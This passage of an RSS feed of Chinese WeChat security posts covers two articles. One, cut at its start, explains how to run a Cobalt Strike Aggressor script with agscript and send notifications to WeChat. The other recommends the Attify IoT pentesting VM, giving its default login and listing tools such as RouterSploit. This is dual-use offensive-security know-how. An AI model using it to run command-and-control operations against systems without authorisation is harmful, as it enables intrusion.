src="https://wechat2rss.xlab.app/img-proxy/?k=072ef8f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYrMFf392ZUqEPq2Tbwt1GqmyQibJKiaeJOYVNEQjIFibkg0NCls0E6AcmE8CUkDHPFKqzQgLwhjoa0Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;margin-bottom: 10px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(199, 37, 78);background-color: rgb(249, 242, 244);border-radius: 4px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;">./agscript [host] [port] [user] [pass] &lt;/path/to/file.cna&gt;</code></p><ul style="font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;margin-top: 5px;margin-bottom: 5px;margin-left: 25px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;font-size: 16px;list-style-position: initial;list-style-image: initial;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;list-style: disc;"><p>[host] #服务器的ip地址。</p></li><li style="box-sizing: border-box;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;list-style: disc;"><p>[port] #cs的端口号，启动cs时有显示。</p></li><li style="box-sizing: border-box;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;list-style: disc;"><p>[user] #用户名，用来运行这个脚本的用户名，随便即可。</p></li><li style="box-sizing: border-box;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;list-style: disc;"><p>[pass] #cs的密码，就是启动cs时你设置的密码。</p></li><li style="box-sizing: border-box;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;list-style: disc;"><p>[path] #cna文件的路径。</p></li></ul><p style="text-align: center;"><img class="rich_pages" data-ratio="0.12357723577235773" data-s="300,640" style="" data-type="png" data-w="1230" src="https://wechat2rss.xlab.app/img-proxy/?k=ce7750bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYrMFf392ZUqEPq2Tbwt1GqxMeicg0G3LDVGicqGEtAGrGXm5jiaqDSS2mLvZPjQsYtRjM2hMEOjGgIw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;margin-bottom: 10px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-weight: 700;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;"><em style="box-sizing: border-box;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;">注：Server酱 同样内容的消息一分钟只能发送一次。</em></span></p><hr style="box-sizing: content-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;height: 0px;margin-top: 20px;margin-bottom: 20px;border-right: 0px;border-bottom: 0px;border-left: 0px;border-top-style: solid;border-top-color: rgb(238, 238, 238);font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"/><p style="box-sizing: border-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;margin-bottom: 10px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">过程中遇到Server酱微信推送中的问题<br style="box-sizing: border-box;"/>输出到微信端的文字不换行。<br style="box-sizing: border-box;"/>最后查百度找到的内容是写在URL里则应该是%0D%0A%0D%0A</p><hr style="box-sizing: content-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;height: 0px;margin-top: 20px;margin-bottom: 20px;border-right: 0px;border-bottom: 0px;border-left: 0px;border-top-style: solid;border-top-color: rgb(238, 238, 238);font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"/><p style="box-sizing: border-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;margin-bottom: 10px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-weight: 700;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;">参考资料：</span></p><p style="box-sizing: border-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;margin-bottom: 10px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(199, 37, 78);background-color: rgb(249, 242, 244);border-radius: 4px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;">CobaltStrike插件开发官方指南 Part3</code><br style="box-sizing: border-box;"/><a href="https://xz.aliyun.com/t/6188" target="_blank">https://xz.aliyun.com/t/6188</a></p><p style="box-sizing: border-box;font-family: &#34;Microsoft YaHei&#34;, &#34;hiragino sans gb&#34;, 黑体, 宋体, Arial, &#34;Lucida Grande&#34;, Tahoma, sans-serif;margin-bottom: 10px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;color: rgb(199, 37, 78);background-color: rgb(249, 242, 244);border-radius: 4px;border-width: 0px;border-style: initial;border-color: initial;outline: 0px;">Aggressor Script http dome</code><br style="box-sizing: border-box;"/><a href="https://github.com/001SPARTaN/aggressor_scripts/blob/master/http.cna" target="_blank">https://github.com/001SPARTaN/aggressor_scripts/blob/master/http.cna</a></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;font-size: 20px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a class="weapp_text_link" data-miniprogram-appid="wx1740bc9f8024a638" data-miniprogram-path="/pages/article/index?articleId=1706" data-miniprogram-nickname="留言墙plus" href="" data-miniprogram-type="text" data-miniprogram-servicetype="0" style="color: var(--weui-LINK);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" href="">点我留言</a></span></strong></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages __bg_gif" data-ratio="1" data-s="300,640" data-type="gif" data-w="640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 640px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e10582e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fdjiam4RadAPZEibagnCovHXK1NtqhC9Ctg8cyuuiaOWQ2tFjHlVyd2SQrsHtQaicibTNSoWOjZg1Ge07VtNtFCC2OPQ%2F640%3Fwx_fmt%3Dgif"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.037096774193548385" data-s="300,640" data-type="png" data-w="620" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 593px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f2a43d18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZibnzhPsRafHdTzDib6nnoGLHEc4wibgAUyytuT3ERDlMgkRs44VF3KphSCyUnVibiaaLfHiaU20p8ESNw%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;">广告时间<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;caret-color: rgb(51, 51, 51);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.3008" data-s="300,640" data-type="png" data-w="1250" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 593px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=59f2e605&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbG3Vr3MoFCJzlV2ee6he3Kc2R5BP1qHmib7xMNl4Ob7G88dDwURFHp0aSfpZsaoYcVAUB8AswWw1Q%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247485950">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1254490e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247485950%26idx%3D1%26sn%3D246e93b6699716f146a9276bf0132ee3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 21 Apr 2020 20:57:00 +0800</pubDate>
    </item>
    <item>
      <title>Attify 物联网渗透测试专用虚拟机</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247485935&amp;idx=1&amp;sn=f0138eea13871641df12b6a82b8e9ff4</link>
      <description>推荐！！！</description>
      <content:encoded><![CDATA[<p>
<span>年华</span> <span>2020-04-15 20:00</span> <span style="display: inline-block;"></span>
</p>

<p>推荐！！！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ff295dd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPbo5w1stETall5Z3wyqsFxOkDiaBg76XK3VicibpICibcr9Rzs50d3ozck2GTOz5uRA4Im6m2tZ09uzWA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">哈喽师傅们大家晚上好，今天来给大家介绍一个物联网IOT安全专用的虚拟机，它几乎把我们在做物联网渗透测试时用到的软件和环境都装好了，可以节约大量的时间。</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">师傅们后台回复&#34;物联网虚拟机&#34;获取百度云链接</span></strong></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5027027027027027" data-s="300,640" style="" data-type="png" data-w="1480" src="https://wechat2rss.xlab.app/img-proxy/?k=c5eea10a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbo5w1stETall5Z3wyqsFxOJAiblo7QQoMtODtyibCpjPI8vo3O7fxtgcoLLopjMQXrpZQ3CBV3w7Xw%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">系统账号密码 iot : attify</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6058230683090705" data-s="300,640" style="" data-type="png" data-w="1786" src="https://wechat2rss.xlab.app/img-proxy/?k=0ce0c102&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbo5w1stETall5Z3wyqsFxO7gW7eiciaW4v65w7f2aawCL0d1NnGyldquZSEcbIC75cOvicMHGSNZeLg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3922187171398528" data-s="300,640" style="" data-type="png" data-w="1902" src="https://wechat2rss.xlab.app/img-proxy/?k=b51b0604&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbo5w1stETall5Z3wyqsFxOiaBdsENDMusZdtaG47oe0ibBdFGjuLheB65bmkick3bSUhY42A5GYLiblQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6076233183856502" data-s="300,640" style="" data-type="png" data-w="1784" src="https://wechat2rss.xlab.app/img-proxy/?k=d2974a2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbo5w1stETall5Z3wyqsFxOoibxZqpQN002iaIGyGeuTCpDNaAbCzQMQ7orrwtVLnDMzM4pBXwHtwsw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">附带的工具有：</span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Arduino</span><br/></p><p>Baudrate</p><p>BDAddr</p><p>BetterCap</p><p>Binwalk</p><p>Create_AP</p><p>Cutter</p><p>DspectrumGUI</p><p>Dump1090</p><p>Firmadyne</p><p>Firmware Analysis Toolkit</p><p>Firmware Analysis Toolkit (FAT)</p><p>Firmware-Mod-Kit (FMK)</p><p>GHIDRA</p><p>GNURadio</p><p>GQRX</p><p>GR-GSM</p><p>GR-Paint</p><p>HackRF Tools</p><p>HackRF tools</p><p>Inspectrum</p><p>JADx</p><p>Kalibrate-RTL</p><p>KillerBee</p><p>LibMPSSE</p><p>Liquid-DSP</p><p>LTE-Cell-Scanner</p><p>NMAP</p><p>OOK-Decoder</p><p>Qiling</p><p>radare2</p><p>RFCat</p><p>RouterSploit</p><p>RTL-433</p><p>RTL-SDR tools</p><p>Scapy</p><p>Spectrum Painter</p><p>Ubertooth tools-</p><p>URH (Universal Radio Hacker)</p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">Aditya Gupta (@adi1391) and Barun Basak (@0xec_) of Attify Team</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;font-size: 20px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a class="weapp_text_link" data-miniprogram-appid="wx1740bc9f8024a638" data-miniprogram-path="/pages/article/index?articleId=1706" data-miniprogram-nickname="留言墙plus" href="" data-miniprogram-type="text" data-miniprogram-servicetype="0" style="color: var(--weui-LINK);-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" href="">点我留言</a></span></strong></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages __bg_gif" data-ratio="1" data-s="300,640" data-type="gif" data-w="640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;width: 640px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e10582e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fdjiam4RadAPZEibagnCovHXK1NtqhC9Ctg8cyuuiaOWQ2tFjHlVyd2SQrsHtQaicibTNSoWOjZg1Ge07VtNtFCC2OPQ%2F640%3Fwx_fmt%3Dgif"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;text-size-adjust: auto;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.037096774193548385" data-s="300,640" data-type="png" data-w="620" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 593px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f2a43d18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPZibnzhPsRafHdTzDib6nnoGLHEc4wibgAUyytuT3ERDlMgkRs44VF3KphSCyUnVibiaaLfHiaU20p8ESNw%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;">广告时间<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.3008" data-s="300,640" data-type="png" data-w="1250" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 593px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=59f2e605&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbG3Vr3MoFCJzlV2ee6he3Kc2R5BP1qHmib7xMNl4Ob7G88dDwURFHp0aSfpZsaoYcVAUB8AswWw1Q%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247485935">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=62536b1b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247485935%26idx%3D1%26sn%3Df0138eea13871641df12b6a82b8e9ff4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 15 Apr 2020 20:00:00 +0800</pubDate>
    </item>
  </channel>
</rss>